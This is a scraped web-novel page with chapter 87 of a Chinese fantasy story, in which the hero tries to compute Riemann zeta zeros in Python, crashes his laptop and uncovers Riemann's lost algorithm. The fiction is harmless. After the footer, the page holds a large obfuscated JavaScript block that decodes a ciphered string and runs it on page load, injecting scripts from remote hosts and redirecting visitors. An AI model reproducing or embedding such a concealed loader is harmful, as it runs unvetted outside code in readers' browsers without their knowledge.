首页
[切换至繁体版]
返回

第87章 Zeta函数非平凡零点的计算残卷

章节报错(免登陆)
下载APP,无广告、完整阅读

笔趣阁(biquge2345.com)更新快,无弹窗!

    第87章Zeta函数非平凡零点的计算残卷(第1/2页)
    看着群里的提示,李东立马点开群成员列表,寻找着黎曼的头像。
    果然,如同他预料的那样.
    【波恩哈德·黎曼】虽然进群了,但他的头像却和高斯一样是灰色的。
    李东长长的舒了口气。
    「看来,这两位数学界的神仙,应该还是被群规限制了————」
    「高斯说要提升权限————」
    想到权限,他立刻点开了群设置里的功能键。
    界面上,他的头衔依然是【群主(实习)】。
    不过那个【邀请群成员】的次数,现在却变成了【10】!
    「一次性给了10个邀请名额?这是对承载了黎曼算力的奖励吗?」
    然而旁边的【上传文件】和【数据迁移】图标,依然是不可用状态。
    「任重而道远啊。」
    李东摇了摇头,把注意力重新放回了能提升权限的《黎曼Zeta函数非平凡零点的计算残卷》上。
    他现在的属性已经全面到达了0.3,相当於三分之一个牛顿。(牛顿:??呵呵)
    当他重新看向这份手稿时,他才真正看懂了黎曼临终前到底在於什麽。
    黎曼并不是为了证明黎曼猜想」而去算那些零点,他终其一生追求的,是素数的分布规律!
    素数就像是数字世界里的幽灵。
    为了抓住这些幽灵,黎曼写下了一个显式公式,用来精确计算小於某个数的素数个数π()。
    而在这个公式里,Zeta函数的非平凡零点,就像是控制素数分布波动的频率。
    只要算出这些零点,就能彻底摸清素数的底细。
    「既然饭都喂到嘴边了,那麽我也来试试————」
    李东来了兴致,从抽屉里抽出一沓崭草稿纸————。
    101看书101看书网体验佳,101.超赞全手打无错站
    「要找零点,就是找Zeta函数实部为1/2那条线上的符号变化————」
    他在纸上写下哈代函数Z(t),准备去强行手算第一个非平凡零点。
    就在李东刚燃起来推导了三行的时候,他就停下了笔。
    「这第一步,就需要计算包含复数变量的伽马函数「(1/4+it/2)?」
    这玩意怎麽手算?
    李东不服气的在脑中疯狂分析。
    「必须要用斯特林公式进行渐近展开,然後分离实部和虚部,接着还要计算超越数π
    和自然对数I的高精度小数值,最後还要做三角函数的泰勒级数展开。」
    「而且这还只是算一个点!」
    「为了捕捉到符号改变的瞬间,还必须在t=14到t=15之间密集取点。」
    「每一次取点,都要重复上面那一长串极其恶心的纯四则运算——」
    「哪怕中间有一个小数点进位算错,前面的力气全部白费!」
    於是不服气的李东服气了。
    不过他毕竟是群主,还是挺不要脸的——
    「不对啊,我跟他较什麽劲?」
    「我现在是21世纪啊!我有计算机啊!让人脑去干计算器的活,这不是纯纯的脑瘫吗?
    「,他立刻打开那台联想笔记本电脑,调出Python的PyCharm界面。
    他凭着脑子里的基础编程知识,直接把最基础的欧拉—麦克劳林求和公式翻译成了代码。
    为了保证精度,他还调用了Python的高精度十进位库,强制保留了25位有效数字,通过对t密集取点的暴力扫描方式寻找零点。
    (本章未完,请点击下一页继续阅读)第87章Zeta函数非平凡零点的计算残卷(第2/2页)
    「走起!」
    屏幕上开始滚动出零点的数值,100个——————500个————1000个————
    但很快,李东就发现了问题。
    笔记本的散热风扇开始发疯狂转动,键盘表面也开始烫手。
    屏幕上代码的运行速度渐渐的慢了下来。
    他写的代码完全没有做内存优化,每一次计算的所有中间变量、历史取点数据都被一股脑的塞进了列表里,没有任何释放机制。
    高精度运算带来的海量临时对象疯狂堆积,Windows任务管理器里,Python进程的内存占用率从4G一下子就来到了14G!
    当零点计算推进到4120个时,画面彻底卡死。
    滑鼠变成了圈圈,怎麽点都没反应。
    紧接着屏幕变成了蓝色。
    【终止代码:MEMORY—MANAGEMENT】
    李东傻傻的看着屏幕。
    内心直呼「傻呗联想。」
    完全忘记了自己的代码也跟粪一样。
    不过这也让李东更加的震撼。
    「就算我的电脑不行,代码也有待优化,可是这毕竟是距离黎曼150多年的矽基产物呀。」
    「黎曼是怎麽硬生生手算出前1104个零点的?」
    「这根本不符合常识啊————」
    李东立刻闭上眼睛,0.3的恐怖数值直接拉满,再次潜入了那份《黎曼绝笔》手稿中。
    他不再看前面的基础推导,而是看向了手稿後半部分,那些像是胡乱涂鸦的代数代换、鞍点法近似和积分路径的偏移。
    看了足足二十分钟,他才睁开眼睛。
    「原来是这样————」
    李东兴奋异常。
    「这不是普通的数学推导,这是————算法降维。」
    他终於看明白了!黎曼在一百多年前,为了突破肉身的算力极限,硬生生发明了一套化简算法黎曼并没有像李东写的Python代码那样,傻乎乎的去硬算无穷级数的每一项。
    他利用最速下降法(鞍点法)对ζ函数的积分表达式做渐近展开,通过摺叠主和项与余项的对称项,硬生生把原本随虚部t线性增长的计算复杂度0(t),直接降维到了0
    (√t)!
    这才是黎曼能用纸笔算出1104个零点的真正底牌!而这套算法,随着黎曼的英年早逝和手稿的遗失,彻底埋葬在了历史的尘埃中。
    别人没有,但他李东有!
    「如果我能把黎曼手稿里的这套算法,嵌套进现代计算机的代码里————」
    李东兴奋地舔了舔嘴唇。
    但是,兴奋过後,他又冷静了下来。
    他现在虽然懂一点Python的皮毛。
    但要把黎曼的数学优化思维,完美的翻译成现代计算机的底层代码架构,这需要极其深厚的计算机科学功底。
    数据结构、内存指针管理、空间换时间的算法优化,甚至是更底层的C/C++语言。
    这些,他都不会。
    「看来,我还得狠狠的去啃一波计算机算法了!」
    只要他能把黎曼的这套算法重现於世,写进代码里,绝对能让这个世界的数学界和计算机界发生大地震!
    >
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();